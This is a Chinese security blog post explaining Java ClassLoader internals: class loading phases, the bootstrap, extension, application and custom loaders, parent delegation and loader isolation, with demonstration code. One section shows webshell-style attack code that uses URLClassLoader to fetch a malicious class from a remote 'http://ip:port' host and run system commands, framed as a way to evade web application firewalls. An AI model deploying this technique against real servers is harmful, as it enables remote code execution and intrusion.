Java安全之ClassLoader浅析

# 前言 审核能过的话会有续集?应该是的 原谅我的渣英语,命名都是随便的 本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java # ClassLoader概述 Java这语言...

前言

审核能过的话会有续集?应该是的

原谅我的渣英语,命名都是随便的

本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java

ClassLoader概述

Java这语言虽然代码很长,但是很多函数或者类都可以看名知意。ClassLoader就是将Java类文件(*.class)加载到 jvm(Java虚拟机) 里面,jvm通过执行class文件的字节码来执行Java程序。

Java源代码(*.java)被 javac 编译器编译后以字节码的形式保存在 class文件中然后再由 jvm 执行。

执行程序时,不会一次性把所有class文件都加载到 jvm 内存里,而是按需加载,只有class文件被加载到内存中它才能被其他class文件引用。怎么按需加载呢? JVM规范允许类加载器在预料到某些类要被使用时提前加载它,而不必等到首次被主动调用再去加载,如果在加载过程中遇到错误,那么类加载器要在它被首次主动调用时主动报告错误(LinkageError)

jvm 启动时加载 class 文件的两种方式:

  • 隐式加载:JVM 自动加载需要的类到内存中
  • 显式加载:通过 class.forName() 动态加载 class文件到 jvm 中

类的加载过程及生命周期

类加载的五个阶段

image-20210614163334909

这个流程顺序是固定的:加载 -> 验证 -> 准备 -> 初始化 -> 卸载 ,这五个阶段是类加载器必须遵守的。

为什么流程中解析阶段跳过了?为了支持Java的动态绑定,某些解析过程会在初始化后也就是调用时再次解析,这个过程叫 重载解析。不知道Java动态绑定?传送门:Java静态绑定与动态绑定

可以被重写的是动态绑定,不能被重写的是静态绑定?

  1. 加载:通过全限定名(包名 + 类名)来获取二进制字节流,并在内存中生成代表此类的 Class对象作为访问此类入口
  2. 验证:本阶段目标是确保 Class文件的字节流内信息符合当前虚拟机要求,且不会危害虚拟机安全。可以使用-Xverifynone 参数来关闭大多数验证以缩短类加载时间

    四个验证步骤(取自 JVM 类加载):

  1. - **文件格式验证** - 验证字节流是否符合 Class 文件格式的规范,并且能被当前版本的虚拟机处理。
  2. - **元数据验证** - 对字节码描述的信息进行语义分析,以保证其描述的信息符合 Java 语言规范的要求。
  3. - **字节码验证** - 通过数据流和控制流分析,确保程序语义是合法、符合逻辑的。
  4. - **符号引用验证** - 发生在虚拟机将符号引用转换为直接引用的时候,对类自身以外(常量池中的各种符号引用)的信息进行匹配性校验。
  1. 准备:为类变量(static)和全局变量(static final)分配内存并初始化为默认值,内存区在方法内存区
  1. - 实例变量在此阶段不会分配内存,其会在对象实例化时分配到 Java堆里面
  2. - 初始化值一般为数据类型默认零值(0falsenull
  3. - final修饰的变量不会被分配内存与初始化,该变量在编译时已经被分配内存空间,其值为 null ,所以 final 变量可以声明时赋值,也可以在使用前进行显式赋值
  4. - 全局变量在准备阶段已被赋值为所指定的值。如`public static final int a = 1;`在准备阶段就会被赋值为 1 而不是 0 ,如果没有显式赋值则编译器会报错
  5. - 类变量在准备阶段会被赋值为默认零值。`public static int a = 1;` 在准备阶段会赋值为 0(默认零值)
  6. - 局部变量必须在使用前显式赋值否则报错。为啥?本篇说的是类加载,在**JVM类加载**后还会有**字节码执行**的阶段,而方法内部的代码是在字节码执行的阶段运行的,所以局部变量无默认值,必须显式赋值。说人话就是局部变量总量大,每个都要初始化内存开销大不说,需要用到默认值的情况少之又少,而粗心的程序员也不少,干脆强制让你赋值,不然就报错,这样也能减少bug的产生,何乐而不为。说的多了。。。
  1. 解析:将常量池的符号引用替换为直接引用
  1. - 符号引用(静态):符号可以是任何形式的字面量(固定值,如`public static final String a = "b";` b 就是字面量,必须用final修饰),只要其能无歧义的定位到目标。
  2. 符号引用分为三类:
  3. - 类和接口的全限定名
  4. - 字段的名称和描述符:字段名如上面的 `a` ,描述符 `String`
  5. - 方法的名称和描述符:方法名 `test` 和描述符 `()`
  6. - 直接引用(动态):将.class文件加载到内存中之后, jvm 会将符号引用转化为代码在内存中实际的内存地址,这就是直接引用,也就是类加载中的动态绑定
  1. 初始化:为类的静态变量赋予正确的初始值;如果该类未被加载或链接,则开始加载此类;若该类直接父类未初始化,则先初始化其父类(父类的静态语句块是优于子类变量赋值操作的)

    关于第三条,看这个代码

    1. public class Test{
    2. static class A {
    3. public static int a = 1;
    4. static {
    5. a = 2;
    6. }
    7. }
    8. static class B extends A {
    9. public static int b = a;
    10. }
    11. public static void main(String[] args) {
    12. System.out.println(B.b); // 输出结果是父类中的静态变量 a 的值,也就是 2
    13. }
    14. }

    类初始化的时机是在该类被主动引用的时候。主动引用分为以下六种:

  1. - **创建类的实例**: `new` 对象
  2. - **访问静态变量**:访问某个类或接口的静态变量,或者对该静态变量赋值
  3. - **访问静态方法**
  4. - **反射**:如`Class.forName()`
  5. - **初始化子类**: 初始化某个类的子类,则其父类也会被初始化
  6. - **启动类** Java 虚拟机启动时被标明为启动类的类(`Java Test`),直接使用`java.exe`命令来运行某个主类
  7. 不知道你们遇到过这个报错没:**错误: 非法前向引用**
  8. ```java
  9. public class Test {
  10. static {
  11. i = 0;
  12. System.out.print(i); // 编译报错:错误: 非法前向引用
  13. }
  14. static int i = 1;
  15. }
  16. ```
  17. > 编译乱码可以这样:`javac -encoding UTF-8 .\Test.java`,指定编码即可
  18. 为何?参考 [Restrictions on the use of Fields during Initialization](http://docs.oracle.com/javase/specs/jls/se7/html/jls-8.html#jls-8.3.2.3),满足以下四点,成员变量声明必须在使用之前
  19. - 出现在静态变量的初始化或静态初始化块中
  20. - 使用不在赋值表达式左边
  21. - 使用是通过简单名称
  22. - 使用包含了最内层的类/接口
  23. 也就是在`static int i = 1;`声明之前的静态块中使用,其只能出现在赋值表达式左侧(那不就是为其赋值嘛。。),除非带上类名,例如下面这样就不会报错
  24. ```java
  25. public class Test {
  26. static {
  27. i = 0;
  28. System.out.print(Test.i); // 带上类名就不会有编译报错
  29. }
  30. static int i = 1;
  31. }
  32. ```
  33. 总结:在类里边的静态/非静态语句块中,只能访问到在块之前定义的变量,在块之后定义的变量在块中只能进行赋值,但是不能访问

类加载的实现

java/lang/ClassLoader.java:401中有这个函数:loadClass()

  1. protected Class<?> loadClass(String name, boolean resolve)
  2. throws ClassNotFoundException
  3. {
  4. // 线程锁
  5. synchronized (getClassLoadingLock(name)) {
  6. // First, check if the class has already been loaded
  7. // 检查是否已经加载
  8. Class<?> c = findLoadedClass(name);
  9. if (c == null) {
  10. long t0 = System.nanoTime();
  11. try {
  12. // 检查父类是否为空,不是则调用父类loadClass(),后面有说原因为何不自己先调用
  13. if (parent != null) {
  14. c = parent.loadClass(name, false);
  15. } else {
  16. // 父类为空则调用引导类加载器,findBootstrapClassOrNull跟踪到最后是
  17. // return null if not found
  18. // private native Class<?> findBootstrapClass(String name);
  19. c = findBootstrapClassOrNull(name);
  20. }
  21. } catch (ClassNotFoundException e) {
  22. // ClassNotFoundException thrown if class not found
  23. // from the non-null parent class loader
  24. }
  25. if (c == null) {
  26. // If still not found, then invoke findClass in order
  27. // to find the class.
  28. // 如果仍未找到class则调用 findclass(),但是改方法为空,是需要用户自行实现的
  29. long t1 = System.nanoTime();
  30. c = findClass(name);
  31. // this is the defining class loader; record the stats
  32. // 记录加载
  33. sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
  34. sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
  35. sun.misc.PerfCounter.getFindClasses().increment();
  36. }
  37. }
  38. if (resolve) {
  39. // 链接此类,如果已被链接则返回简单地址,否则进行解析,这一点上面也提到了-加载后的解析
  40. resolveClass(c);
  41. }
  42. return c;
  43. }
  44. }

上面说过,class Loader会把class转为对象,这个方法也在这个java文件里(574行),名为defineClass()

  1. @Deprecated
  2. protected final Class<?> defineClass(byte[] b, int off, int len)
  3. throws ClassFormatError
  4. {
  5. return defineClass(null, b, off, len, null);
  6. }

这个函数上面的注释写的很全,可以自己看看

四种ClassLoader

絮絮叨叨的终于到了今天的主角 —- ClassLoader,其分为四种加载器:引导类加载器(BootstrapClassLoader)、扩展类加载器(ExtensionsClassLoader)、应用程序类加载器(AppClassLoader)、自定义类加载器(UserDefineClassLoader),前三个并不是继承关系,是父类委托关系(parent-delegation — 类加载父亲委托)

引导类加载器(BootstrapClassLoader)

负责加载 JVM 自身工作所需要的类,加载核心Java库

加载文件为:%JAVA_HOME%\lib 或 被-Xbootclasspath 参数所指定的路径,此路径内名字不符合的类库不会加载,例如rt.jar

这是Java最顶层的加载器,没有父类,其用C++实现,打印父类加载器为 null,并且嵌入到JVM内,不能被直接引用。自定义加载器若想委派BootstrapClassLoader直接使用null替代即可

它具体加载什么了呢?看代码,第一种用了Java反射机制,下个篇章会说

  1. package com.yq1ng;
  2. import java.net.URL;
  3. /**
  4. * @author ying
  5. * @Description
  6. * @create 2021-06-15 10:51 AM
  7. */
  8. public class BootStrapLoadInfo {
  9. public static void main(String[] args){
  10. URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs();
  11. for (int i = 0; i < urls.length; i++) {
  12. System.out.println(urls[i].toExternalForm());
  13. }
  14. System.out.println("========================================================");
  15. System.out.println(System.getProperty("sun.boot.class.path"));
  16. }
  17. }
  18. /**
  19. * output
  20. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/resources.jar
  21. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/rt.jar
  22. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/sunrsasign.jar
  23. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/jsse.jar
  24. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/jce.jar
  25. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/charsets.jar
  26. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/jfr.jar
  27. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/classes
  28. ========================================================
  29. C:\Program Files\Java\jdk1.8.0_151\jre\lib\resources.jar;C:\Program Files\Java\jdk1.8.0_151\jre\lib\rt.jar;C:\Program Files\Java\jdk1.8.0_151\jre\lib\sunrsasign.jar;C:\Program Files\Java\jdk1.8.0_151\jre\lib\jsse.jar;C:\Program Files\Java\jdk1.8.0_151\jre\lib\jce.jar;C:\Program Files\Java\jdk1.8.0_151\jre\lib\charsets.jar;C:\Program Files\Java\jdk1.8.0_151\jre\lib\jfr.jar;C:\Program Files\Java\jdk1.8.0_151\jre\classes
  30. */

验证:使用rt.jar!/java/lang/Object.class获取其父类加载器

image-20210615111513709

关于这个引导类加载器偶然看见一个笑死的名字 —- 祖宗类加载器 。。。

image-20210615110244793

扩展类加载器(ExtensionsClassLoader)

加载核心类的扩展,以适配平台运行的程序

加载文件为:%JAVA_HOME%\lib\ext 或被java.ext.dir 系统变量所指定路径中的所有类库

  1. package com.yq1ng.ExtensionsClassLoader;
  2. import java.net.URL;
  3. import java.net.URLClassLoader;
  4. /**
  5. * @author ying
  6. * @Description
  7. * @create 2021-06-15 11:15 AM
  8. */
  9. public class ExtensionsLoaderInfo {
  10. public static void main(String[] args) {
  11. URLClassLoader extClassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader().getParent();
  12. URL[] urls = extClassLoader.getURLs();
  13. for (URL url : urls) {
  14. System.out.println(url);
  15. }
  16. }
  17. }
  18. /**
  19. * output
  20. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/access-bridge-64.jar
  21. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/cldrdata.jar
  22. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/dnsns.jar
  23. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/jaccess.jar
  24. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/jfxrt.jar
  25. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/localedata.jar
  26. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/nashorn.jar
  27. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/sunec.jar
  28. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/sunjce_provider.jar
  29. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/sunmscapi.jar
  30. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/sunpkcs11.jar
  31. file:/C:/Program%20Files/Java/jdk1.8.0_151/jre/lib/ext/zipfs.jar
  32. */

很明显,此加载器加载了%JAVA_HOME%/jre/lib/ext/目录下的Java类

验证:就取第一个加载的类看看

image-20210615112358752

应用程序类加载器(AppClassLoader)

加载用户类路径指定类库

加载文件为:CLASSPATH路径下指定文件

直译是上面这个,但是这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,所以也叫系统类加载器

程序运行一般默认使用此加载器

代码用命令行运行更直观,idea会加上参数,顺便把包名去掉,不然会报错误: 找不到或无法加载主类 AppLoaderInfo

image-20210615114036769

image-20210615114146452

自定义类加载器(UserDefineClassLoader)

通过继承java.lang.ClassLoader.class 实现自定义的类加载器

应用广泛,典型的有 Tomcat 的servlet隔离技术,每个 wabapp都有自己的 classloader;Spring框架;热部署等等,具体可以看Java 类加载器(ClassLoader)的实际使用场景有哪些?

这里写一个加载外部类的dom。

待加载类,写完后记得用 javac 编译,类加载器加载的是字节码文件(.class)

  1. /**
  2. * @author ying
  3. * @Description
  4. * @create 2021-06-15 4:52 PM
  5. */
  6. public class Test {
  7. public static void test(String parameter) {
  8. System.out.println("External class was successfully loaded!!!");
  9. System.out.println("The passing parameter is " + parameter);
  10. }
  11. }

自定义类加载器

  1. package com.yq1ng.UserDefineClassLoader;
  2. import java.io.*;
  3. /**
  4. * @author ying
  5. * @Description
  6. * @create 2021-06-15 4:55 PM
  7. */
  8. public class myClassLoader extends ClassLoader {
  9. private String classPath;
  10. public myClassLoader(String classPath){
  11. this.classPath = classPath;
  12. }
  13. private String getFileName(String fileName){
  14. int index = fileName.lastIndexOf('.');
  15. if (index == -1){
  16. return fileName + ".class";
  17. }else {
  18. return fileName.substring(index + 1) + ".class";
  19. }
  20. }
  21. // 重写 findClass
  22. @Override
  23. protected Class<?> findClass(String name) throws ClassNotFoundException {
  24. String fileName = getFileName(name);
  25. File file = new File(classPath, fileName);
  26. try {
  27. FileInputStream fileInputStream = new FileInputStream(file);
  28. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  29. int len = 0;
  30. try {
  31. while ((len = fileInputStream.read()) != -1) {
  32. byteArrayOutputStream.write(len);
  33. }
  34. } catch (IOException e) {
  35. e.printStackTrace();
  36. }
  37. byte[] data = byteArrayOutputStream.toByteArray();
  38. fileInputStream.close();
  39. byteArrayOutputStream.close();
  40. return defineClass(name, data, 0, data.length);
  41. } catch (FileNotFoundException e) {
  42. e.printStackTrace();
  43. } catch (IOException e) {
  44. e.printStackTrace();
  45. }
  46. return super.findClass(name);
  47. }
  48. }

测试

  1. package com.yq1ng.UserDefineClassLoader;
  2. import java.lang.reflect.InvocationTargetException;
  3. import java.lang.reflect.Method;
  4. /**
  5. * @author ying
  6. * @Description
  7. * @create 2021-06-15 5:05 PM
  8. */
  9. public class testMyClassLoader {
  10. public static void main(String[] args) {
  11. // 指定路径
  12. myClassLoader myClassLoader = new myClassLoader("F:\\");
  13. try {
  14. // 指定加载文件名称
  15. Class c = myClassLoader.loadClass("Test");
  16. Method[] methods = c.getDeclaredMethods();
  17. for (Method method : methods) {
  18. System.out.println("methods: " + method.getName());
  19. }
  20. if (c != null) {
  21. try {
  22. Object object = c.newInstance();
  23. // 参数为 String ,为c.getDeclaredMethod指定参数类型准备
  24. Class[] cArg = new Class[1];
  25. cArg[0] = String.class;
  26. Method method = c.getDeclaredMethod("test", cArg);
  27. method.invoke(object, "yq1ng");
  28. } catch (IllegalAccessException e) {
  29. e.printStackTrace();
  30. } catch (InstantiationException e) {
  31. e.printStackTrace();
  32. } catch (NoSuchMethodException e) {
  33. e.printStackTrace();
  34. } catch (InvocationTargetException e) {
  35. e.printStackTrace();
  36. }
  37. }
  38. } catch (ClassNotFoundException e) {
  39. e.printStackTrace();
  40. }
  41. }
  42. }

image-20210615172637400

还有个就是防止反编译的,加密、解密class文件,但这也只是防君子不防“小人”就像base64一样哈哈,可以看基础补完计划 – Java 类加载器( ClassLoader ),这篇文章也写了很多自定义加载器的示例

parent-delegation model

很多说法都是双亲委派机制,谷歌、必应翻译是父类委托模型/机制,名称无所谓。先看个流程图

image-20210615181105796

除了顶层加载器,其余均有父类委托

  • 委托阶段

    当一个类加载器需要加载类时,首先判断该类是否已经被加载,如果该类已经被加载就直接返回,如果该类未被加载,则委托给父类加载器。

    父类加载器会执行相同的操作来进行判断,直到委托请求到达“引导类加载器(BootstrapClassLoader)”,此时可以确定当前类未被加载,因此需要进入派发阶段,查找并加载该类。

  • 派发阶段

    委托到达引导类加载器时如未找到就会进入派发阶段,将其转给子类进行加载。如果都未找到则抛出ClassNotFoundException异常并退出

优势

  • 避免加载重复类:从流程图可以看出来,父类加载后的类子类不会再加载
  • 保证Java核心库安全、防止内存中出现多份相同字节码:比如java.lang.Object存放在rt.jar中,如果自定义一个java.lang.Object,不会将原有的覆盖,因为自定义的类会由AppClassLoader进行加载,向上委托发现已经加载就不会在加载自定义的类了

URLClassLoader 的利用

通过 java.net.URLClassLoader.class 可以远程加载资源

在上传 webshell 的时候如果不想上传执行代码的恶意文件 or 需要过狗,只上传一个 URLClassLoader 看起来无危害的文件,然后使用此文件远程加载执行命令的 jar 包或者 class 恶意文件

话不多说,开始搞,先来一个服务器上的恶意 class

  1. import java.io.IOException;
  2. /**
  3. * @author ying
  4. * @Description
  5. * @create 2021-10-30 11:40 AM
  6. */
  7. public class CMD {
  8. public static Process exec(String cmd) throws IOException {
  9. return Runtime.getRuntime().exec(cmd);
  10. }
  11. }

然后,编译一下 javac .\cmd.java ,注意:这个文件不能带包名,把 idea 的包名去掉在编译,否则提示找不到类,这也容易理解,带上包名(全限定名),ClassLoader 会从本地寻找此 class 文件,当然找不到恶意的。将 CMD.class 上传到 vps (或在本地起个服务);或者上传 jar 包,在 class 文件同级目录下写一个manifest 文件(其实文件名随意啦),内容如下(最后一行空行别忘记):

  1. Manifest-Version: 1.0
  2. Main-Class: addJarPkg

生成 jar 包的命令是 jar -cvfm cmd.jar manifest -C cmd .

image-20211030222841093然后开始写利用类

  1. package com.yq1ng.URLClassLoader;
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.InputStream;
  4. import java.lang.reflect.InvocationTargetException;
  5. import java.net.MalformedURLException;
  6. import java.net.URL;
  7. import java.net.URLClassLoader;
  8. /**
  9. * @author ying
  10. * @Description
  11. * @create 2021-10-30 11:09 AM
  12. */
  13. public class badURLClassLoader {
  14. public static void main(String[] args) {
  15. try {
  16. // 定义远程文件 URI
  17. URL url = new URL("http://ip:port/CMD.class");
  18. // URL url = new URL("http://ip:port/cmd.jar");
  19. // 创建 URLClassLoader 对象,并加载 class 类/ jar 包
  20. URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
  21. // 加载远程 class 文件/ jar 包中的 CMD 类
  22. Class cmdClass = urlClassLoader.loadClass("CMD");
  23. // 定义需要执行的命令,需要根据客户端(win/linux)进行命令的选择
  24. // String cmd = "calc"; // calc 不需要下面的读取结果也可以的
  25. String cmd = "cmd /c dir";
  26. // 调用 CMD 类中的 exec 方法,如果是本地的话就相当于:Process process = CMD.exec("calc");
  27. Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
  28. // 获取执行结果的输入流
  29. InputStream inputStream = process.getInputStream();
  30. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  31. byte[] bytes = new byte[1024];
  32. int a = -1;
  33. // 读取结果
  34. while ((a = inputStream.read(bytes)) != -1){
  35. byteArrayOutputStream.write(bytes, 0, a);
  36. }
  37. // 输出结果
  38. System.out.println(byteArrayOutputStream.toString());
  39. } catch (Exception e){
  40. e.printStackTrace();
  41. }
  42. }
  43. }

image-20211030133837518

当然,有时候一个 class 可能满足不了我们,这时候可以修改上面的利用代码,加载 jar 包进行其他姿势。但是我们并不知道服务端加载了那些 jar 包,会不会和我们的冲突/相同?会不会加载远程资源以后造成业务不可逆的毁坏?这就可以介绍 ClassLoader 的隔离机制了

ClassLoader 隔离机制

鉴于上面的问题,来看看隔离机制

image-20211030135708327

先认识一下 静态内部类

  1. package com.yq1ng.IsolationMechanism;
  2. /**
  3. * @author ying
  4. * @Description
  5. * @create 2021-10-30 2:04 PM
  6. */
  7. public class TestStaticClass {
  8. public static class A {
  9. public A() {
  10. System.out.println("Call the constructor of A~");
  11. }
  12. // 普通代码域,在类的每个对象创建的时候调用
  13. {
  14. System.out.println("Hello, I'm A~");
  15. }
  16. }
  17. public static void main(String[] args) {
  18. // F1. 单独初始化
  19. A a = new A();
  20. // F2. 内部类的初始化
  21. TestStaticClass.A aa = new TestStaticClass.A();
  22. }
  23. }

image-20211030141529460

实践一下隔离机制,来一个待加载的类,同样需要去掉包名,然后编译为 class

  1. /**
  2. * @author ying
  3. * @Description
  4. * @create 2021-10-30 2:57 PM
  5. */
  6. public class HelloWord {
  7. public void hello(){
  8. System.out.println("Hello Word!");
  9. }
  10. }

接着来一个test

  1. package com.yq1ng.IsolationMechanism;
  2. import java.io.*;
  3. /**
  4. * @author ying
  5. * @Description
  6. * @create 2021-10-30 1:58 PM
  7. */
  8. public class ClassLoaders {
  9. public static class ClassLoaderA extends ClassLoader{
  10. public ClassLoaderA(ClassLoader parrent){
  11. super(parrent);
  12. }
  13. public byte[] getClassData(File file){
  14. try (InputStream ins = new FileInputStream(file); ByteArrayOutputStream baos = new
  15. ByteArrayOutputStream()) {
  16. byte[] buffer = new byte[4096];
  17. int bytesNumRead = 0;
  18. while ((bytesNumRead = ins.read(buffer)) != -1) {
  19. baos.write(buffer, 0, bytesNumRead);
  20. }
  21. return baos.toByteArray();
  22. } catch (FileNotFoundException e) {
  23. e.printStackTrace();
  24. } catch (IOException e) {
  25. e.printStackTrace();
  26. }
  27. return new byte[] {};
  28. }
  29. {
  30. // 需要绝对路径
  31. File file = new File("F:\\ClassLoader\\src\\main\\java\\com\\yq1ng\\IsolationMechanism\\HelloWord.class");
  32. byte[] classByte = getClassData(file);
  33. defineClass("HelloWord", classByte, 0, classByte.length);
  34. }
  35. }
  36. public static class ClassLoaderB extends ClassLoader{
  37. public ClassLoaderB(ClassLoader parrent){
  38. super(parrent);
  39. }
  40. public byte[] getClassData(File file){
  41. try (InputStream ins = new FileInputStream(file); ByteArrayOutputStream baos = new
  42. ByteArrayOutputStream()) {
  43. byte[] buffer = new byte[4096];
  44. int bytesNumRead = 0;
  45. while ((bytesNumRead = ins.read(buffer)) != -1) {
  46. baos.write(buffer, 0, bytesNumRead);
  47. }
  48. return baos.toByteArray();
  49. } catch (FileNotFoundException e) {
  50. e.printStackTrace();
  51. } catch (IOException e) {
  52. e.printStackTrace();
  53. }
  54. return new byte[] {};
  55. }
  56. {
  57. // 需要绝对路径
  58. File file = new File("F:\\ClassLoader\\src\\main\\java\\com\\yq1ng\\IsolationMechanism\\HelloWord.class");
  59. byte[] classByte = getClassData(file);
  60. defineClass("HelloWord", classByte, 0, classByte.length);
  61. }
  62. }
  63. public static void main(String[] args) throws Exception {
  64. // 父类加载器
  65. ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
  66. // A类加载器
  67. ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);
  68. // B类加载器
  69. ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);
  70. // 使用A/B类加载器加载同一个类
  71. Class<?> a1 = Class.forName("HelloWord", true, aClassLoader);
  72. Class<?> a2 = Class.forName("HelloWord", true, aClassLoader);
  73. Class<?> b = Class.forName("HelloWord", true, bClassLoader);
  74. // 比较
  75. System.out.println("aClass == aaClass:" + (a1 == a2));
  76. System.out.println("aClass == bClass:" + (a1 == b));
  77. }
  78. }

image-20211030154831824

所以可以自定一个简单的类加载器来解决 jar 包冲突的烦恼

END

  • 发表于 2021-11-08 09:51:01
  • 阅读 ( 7401 )
  • 分类:WEB安全

5 条评论

会下雪的晴天
会下雪的晴天

2 篇文章

站长统计